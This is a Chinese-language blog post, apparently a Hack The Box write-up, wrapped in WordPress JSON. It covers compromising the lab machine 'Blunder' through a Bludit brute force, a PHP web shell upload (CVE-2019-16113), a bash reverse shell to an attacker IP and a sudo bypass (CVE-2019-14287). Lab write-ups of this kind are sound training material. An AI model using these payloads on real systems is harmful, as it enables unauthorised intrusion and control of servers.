{"id":159,"date":"2024-11-13T10:39:56","date_gmt":"2024-11-13T02:39:56","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=159"},"modified":"2024-11-13T10:39:56","modified_gmt":"2024-11-13T02:39:56","slug":"159","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/159\/","title":{"rendered":"HTB\u9776\u673a Blunder \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
\n

\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.10.10.191<\/code><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
PING 10.10.10.191 (10.10.10.191) 56(84) bytes of data.\n64 bytes from 10.10.10.191: icmp_seq=1 ttl=63 time=284 ms\n64 bytes from 10.10.10.191: icmp_seq=2 ttl=63 time=267 ms\n64 bytes from 10.10.10.191: icmp_seq=3 ttl=63 time=308 ms\n64 bytes from 10.10.10.191: icmp_seq=4 ttl=63 time=265 ms\n\n--- 10.10.10.191 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3104ms\nrtt min\/avg\/max\/mdev = 264.868\/280.978\/308.248\/17.425 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7684\u7f51\u7edc\u8fde\u63a5\u826f\u597d\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
# Nmap 7.94SVN scan initiated Thu Aug 15 22:06:42 2024 as: nmap -sA -p- --min-rate 2000 -oN .\/ack_result.txt 10.10.10.191\nNmap scan report for 10.10.10.191 (10.10.10.191)\nHost is up (0.39s latency).\nNot shown: 65533 filtered tcp ports (no-response)\nPORT   STATE      SERVICE\n21\/tcp unfiltered ftp\n80\/tcp unfiltered http\n\n# Nmap done at Thu Aug 15 22:07:52 2024 -- 1 IP address (1 host up) scanned in 69.73 seconds<\/code><\/pre>\n
\u9776\u673a\u5f00\u653e\u4e862<\/code>\u4e2aTCP<\/code>\u7aef\u53e3\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Thu Aug 15 22:09:02 2024 as: nmap -sS -sV -A -p 21,80 -oN .\/tcp_result.txt 10.10.10.191\nNmap scan report for 10.10.10.191 (10.10.10.191)\nHost is up (0.31s latency).\n\nPORT   STATE  SERVICE VERSION\n21\/tcp closed ftp\n80\/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))\n|_http-server-header: Apache\/2.4.41 (Ubuntu)\n|_http-title: Blunder | A blunder of interesting facts\n|_http-generator: Blunder\nDevice type: general purpose|storage-misc|media device|WAP\nRunning (JUST GUESSING): Linux 5.X|4.X|2.6.X (98%), HP embedded (89%), Infomir embedded (88%), Ubiquiti embedded (88%), Ubiquiti AirOS 5.X (88%)\nOS CPE: cpe:\/o:linux:linux_kernel:5.0 cpe:\/o:linux:linux_kernel:4 cpe:\/h:hp:p2000_g3 cpe:\/o:linux:linux_kernel:2.6.32 cpe:\/o:linux:linux_kernel:2.6 cpe:\/h:infomir:mag-250 cpe:\/h:ubnt:airmax_nanostation cpe:\/o:ubnt:airos:5.5.9\nAggressive OS guesses: Linux 5.0 (98%), Linux 5.0 - 5.4 (92%), Linux 4.15 - 5.8 (89%), HP P2000 G3 NAS device (89%), Linux 5.3 - 5.4 (89%), Linux 2.6.32 (89%), Infomir MAG-250 set-top box (88%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (88%), Linux 5.0 - 5.5 (88%), Linux 5.1 (88%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\n\nTRACEROUTE (using port 21\/tcp)\nHOP RTT       ADDRESS\n1   278.30 ms 10.10.14.1 (10.10.14.1)\n2   278.64 ms 10.10.10.191 (10.10.10.191)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Thu Aug 15 22:09:27 2024 -- 1 IP address (1 host up) scanned in 24.99 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Thu Aug 15 22:13:22 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.191\nNmap scan report for 10.10.10.191 (10.10.10.191)\nHost is up (0.44s latency).\nNot shown: 65533 open|filtered udp ports (no-response)\nPORT   STATE  SERVICE\n21\/udp closed ftp\n80\/udp closed http\n\n# Nmap done at Thu Aug 15 22:14:30 2024 -- 1 IP address (1 host up) scanned in 68.49 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3aUbuntu Linux<\/code>\uff0c\u6709\u53ef\u80fd\u5b58\u5728\u7aef\u53e3\u6572\u95e8\u3002<\/p>\n
\n
\u670d\u52a1\u63a2\u6d4b<\/h1>\n
Web\u670d\u52a1\u63a2\u6d4b\uff0880\u7aef\u53e3\uff09<\/h2>\n
\u6253\u5f00\u4e3b\u9875\uff1ahttp:\/\/10.10.10.191\/<\/code><\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u4e3b\u9875\u4e0a\u662f\u4e00\u4e2a\u767e\u79d1\u7ad9\u70b9\uff0c\u540c\u65f6\u9875\u9762\u53f3\u4fa7\u6709\u5982\u4e0b\u6587\u5b57\uff1a<\/p>\n
I created this site to dump my fact files, nothing more.......?<\/code><\/pre>\n
\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n
# Dirsearch started Fri Aug 16 08:18:02 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/10.10.10.191\/ -x 400,403,404 -e php,js,html,txt,zip,tar.gz,asp,aspx,pcap -t 60\n\n200   563B   http:\/\/10.10.10.191\/.gitignore\n200   457B   http:\/\/10.10.10.191\/.github\/\n200     1KB  http:\/\/10.10.10.191\/about\n301     0B   http:\/\/10.10.10.191\/admin    -> REDIRECTS TO: http:\/\/10.10.10.191\/admin\/\n200   990B   http:\/\/10.10.10.191\/admin\/\n\uff08\u90e8\u5206\u7ed3\u679c\u5ffd\u7565\uff09\n200    30B   http:\/\/10.10.10.191\/install.php\n200    30B   http:\/\/10.10.10.191\/install.php?profile=default\n200     1KB  http:\/\/10.10.10.191\/LICENSE\n200     3KB  http:\/\/10.10.10.191\/README.md\n200    22B   http:\/\/10.10.10.191\/robots.txt\n200   122B   http:\/\/10.10.10.191\/todo.txt<\/code><\/pre>\n
\u53d1\u73b0\u4e86\/admin<\/code>\u76ee\u5f55\uff0c\u76f4\u63a5\u8bbf\u95ee\uff1a<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u9776\u673a\u90e8\u7f72\u4e86Bludit CMS<\/code>\u535a\u5ba2\u7ba1\u7406\u7cfb\u7edf\uff0c\u7248\u672c\u4e3av3.9.2<\/code>\uff0c\u5c1d\u8bd5\u8054\u7f51\u641c\u7d22\u6f0f\u6d1e\u5e93\uff1a<\/p>\n
\"\"<\/p>\n
\u67e5\u770b\u6f0f\u6d1e\u5e93\uff0c\u53d1\u73b0\u6709\u5927\u91cf\u7684\u6f0f\u6d1e\u90fd\u9700\u8981\u767b\u5f55\u540e\u624d\u80fd\u5229\u7528\u3002\u76f4\u63a5\u4f7f\u7528\u767b\u5f55\u7206\u7834\u6f0f\u6d1e\u8fdb\u884c\u7ba1\u7406\u5458\u8d26\u53f7\u66b4\u529b\u7834\u89e3\u3002<\/p>\n
\u8bbf\u95eetodo.txt<\/code>\uff0c\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n
-Update the CMS\n-Turn off FTP - DONE\n-Remove old users - DONE\n-Inform fergus that the new blog needs images - PENDING<\/code><\/pre>\n
\u731c\u6d4bBludit CMS<\/code>\u4e2d\u53ef\u80fd\u6709\u7528\u6237fergus<\/code>\u3002<\/p>\n
\n
\u6e17\u900f\u6d4b\u8bd5<\/h1>\n
\u793e\u5de5\u5b57\u5178\u7206\u7834\u7528\u6237<\/h2>\n
\u4f7f\u7528cewl<\/code>\u5de5\u5177\u5c06\u9776\u673a\u4e3b\u9875\u7684\u5185\u5bb9\u5236\u4f5c\u4e3a\u793e\u5de5\u5b57\u5178\uff1a<\/p>\n
cewl http:\/\/10.10.10.191\/ > .\/word.txt<\/code><\/pre>\n
\u968f\u540e\u4e0b\u8f7d\u6f0f\u6d1e\u5e93\u4e2d\u7684Bludit 3.9.2 - Authentication Bruteforce Bypass (Metasploit)<\/code>\u6a21\u5757\uff0c\u5e76\u5c06\u5176\u653e\u7f6e\u5728\/usr\/share\/metasploit-framework\/modules\/auxiliary\/usermods\/<\/code>\u76ee\u5f55\u4e0b\uff08\u4e3aMetasploit<\/code>\u5b89\u88c5\u81ea\u5b9a\u4e49\u6a21\u5757\uff09\uff1a<\/p>\n
\"\"<\/p>\n
\u63a5\u7740\u542f\u52a8Metasploit<\/code>\uff0c\u76f4\u63a5\u8f7d\u5165\u8be5\u6a21\u5757\uff1a<\/p>\n
use auxiliary\/usermods\/brute_bludit<\/code><\/pre>\n
\"\"<\/p>\n
\u6839\u636e\u7ed9\u51fa\u7684\u53c2\u6570\u5217\u8868\u8fdb\u884c\u8bbe\u7f6e\uff0c\u7136\u540e\u76f4\u63a5\u8fd0\u884c\uff1a<\/p>\n
set RHOSTS 10.10.10.191\nset PASS_FILE \/home\/megumin\/Documents\/pentest_notes\/blunder\/word.lst\nset USERNAME fergus\nrun<\/code><\/pre>\n
\u7b49\u5f85\u4e00\u4f1a\u513f\uff0c\u76f4\u63a5\u8dd1\u51fa\u5bc6\u7801\uff1a<\/p>\n
\"\"<\/p>\n
    \n
  • \u7528\u6237\u540d\uff1afergus<\/code><\/li>\n
  • \u5bc6\u7801\uff1aRolandDeschain<\/code><\/li>\n<\/ul>\n
    \"\"<\/p>\n
    \u767b\u5f55\u6210\u529f\uff01\uff01<\/strong><\/p>\n
    \u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u5229\u7528<\/h2>\n
    \u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u53d1\u73b0fergus<\/code>\u7528\u6237\u4e0d\u662f\u7ba1\u7406\u5458\uff0c\u4f46\u662f\u8be5\u7248\u672c\u7cfb\u7edf\u8fd8\u6709\u4e00\u4e2a\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1eCVE-2019-16113<\/code>\uff1a<\/p>\n
    \"\"<\/p>\n
    \u9996\u5148\u5c06EXP<\/code>\u4e0b\u8f7d\u4e0b\u6765\uff0c\u7136\u540e\u6839\u636e\u811a\u672c\u4e2d\u7684\u63d0\u793a\uff0c\u8bbe\u7f6e\u76ee\u6807\u5730\u5740\u3001\u7528\u6237\u540d\u548c\u5bc6\u7801\uff0c\u5e76\u521b\u5efa\u811a\u672cevil.png<\/code>\u548c.htaccess<\/code>\u6587\u4ef6\uff1a<\/p>\n
    \"\"<\/p>\n
    <?php\n  $command = $_GET['cmd'];\n  if (isset($command) && !empty($command)) {\n    system($command);\n  } else die(\"Hello, hello, I'm sparkle!\");\n?><\/code><\/pre>\n
    RewriteEngine off\nAddType application\/x-httpd-php .png<\/code><\/pre>\n
    \u968f\u540e\u76f4\u63a5\u8fd0\u884c\u811a\u672c\uff1a<\/p>\n
    \"\"<\/p>\n
    \u7136\u540e\u8bbf\u95ee\u6728\u9a6c\uff1ahttp:\/\/10.10.10.191\/bl-content\/tmp\/temp\/evil.png<\/code><\/p>\n
    \"\"<\/p>\n
    \u6728\u9a6c\u6210\u529f\u8fd0\u884c\uff01\u76f4\u63a5\u53cd\u5f39Shell\uff1a<\/p>\n
    \/bin\/bash -c 'bash -i >& \/dev\/tcp\/10.10.14.12\/443 0>&1'<\/code><\/pre>\n
    \"\"<\/p>\n
    \u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n
    \n
    \u6743\u9650\u63d0\u5347<\/h1>\n
    \u79fb\u52a8\u81f3hugo\u7528\u6237<\/h2>\n
    \u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u5728\/var\/www\/<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0\u53e6\u4e00\u4e2aBludit CMS<\/code>\uff1a<\/p>\n
    \"\"<\/p>\n
    \u5c1d\u8bd5\u8fdb\u5165.\/bludit-3.10.0a<\/code>\u76ee\u5f55\u4e0b\u6536\u96c6\u4fe1\u606f\uff0c\u5728.\/bl-content\/databases\/users.php<\/code>\u4e2d\u53d1\u73b0\u7528\u6237admin<\/code>\u7684\u914d\u7f6e\u4fe1\u606f\uff1a<\/p>\n
    <?php defined('BLUDIT') or die('Bludit CMS.'); ?>\n{\n  \"admin\": {\n    \"nickname\": \"Hugo\",\n    \"firstName\": \"Hugo\",\n    \"lastName\": \"\",\n    \"role\": \"User\",\n    \"password\": \"faca404fd5c0a31cf1897b823c695c85cffeb98d\",\n    \"email\": \"\",\n    \"registered\": \"2019-11-27 07:40:55\",\n    \"tokenRemember\": \"\",\n    \"tokenAuth\": \"b380cb62057e9da47afce66b4615107d\",\n    \"tokenAuthTTL\": \"2009-03-15 14:00\",\n    \"twitter\": \"\",\n    \"facebook\": \"\",\n    \"instagram\": \"\",\n    \"codepen\": \"\",\n    \"linkedin\": \"\",\n    \"github\": \"\",\n    \"gitlab\": \"\"}\n}<\/code><\/pre>\n
    \u53d1\u73b0\u7528\u6237\u6635\u79f0\u4e3aHugo<\/code>\uff0c\u4e0e\u7cfb\u7edf\u4e2d\u7684\u4e00\u4e2a\u7528\u6237\u540d\u79f0\u76f8\u540c\u3002<\/p>\n
    \u5c1d\u8bd5\u5c06password<\/code>\u4e00\u9879\u8fdb\u884c\u5728\u7ebf\u7834\u89e3\uff1a<\/p>\n
    \"\"<\/p>\n
    \u76f4\u63a5\u7528\u8be5\u5bc6\u7801\u5207\u6362\u7528\u6237\u5230hugo<\/code>\uff1a<\/p>\n
      \n
    • \u7528\u6237\u540d\uff1ahugo<\/code><\/li>\n
    • \u5bc6\u7801\uff1aPassword120<\/code><\/li>\n<\/ul>\n
      \"\"<\/p>\n
      \u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n
      Sudo\u6f0f\u6d1e\u5229\u7528<\/h2>\n
      \u767b\u5f55hugo<\/code>\u7528\u6237\u4e4b\u540e\uff0c\u5c1d\u8bd5\u4f7f\u7528sudo -l<\/code>\u547d\u4ee4\u67e5\u770b\u5176\u6743\u9650\uff1a<\/p>\n
      \"\"<\/p>\n
      \u53d1\u73b0\u5f53\u524d\u7528\u6237\u53ef\u4ee5\u8fd0\u884c\/bin\/bash<\/code>\uff0c\u4f46\u65e0\u6cd5\u4ee5root<\/code>\u8eab\u4efd\u8fd0\u884c\u3002\u67e5\u770bSudo<\/code>\u7248\u672c\uff0c\u53d1\u73b0\u4e3av1.8.25p1<\/code>\u3002<\/p>\n
      \u5c1d\u8bd5\u4f7f\u7528\u6f0f\u6d1eCVE-2019-14287<\/code>\u8fdb\u884c\u5b89\u5168\u914d\u7f6e\u7ed5\u8fc7\uff1a<\/p>\n
      sudo -u#-1 \/bin\/bash<\/code><\/pre>\n
      \"\"<\/p>\n
      \u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n
      \n
      Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n
      c22ab193fe1669fb63a0515cbd096996<\/code><\/pre>\n
      \n
      \u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n
      \n","protected":false},"excerpt":{"rendered":"
      \u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.191 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.10.10.191 (10.10.10.19 …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-159","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/159","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=159"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/159\/revisions"}],"predecessor-version":[{"id":160,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/159\/revisions\/160"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=159"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=159"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=159"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}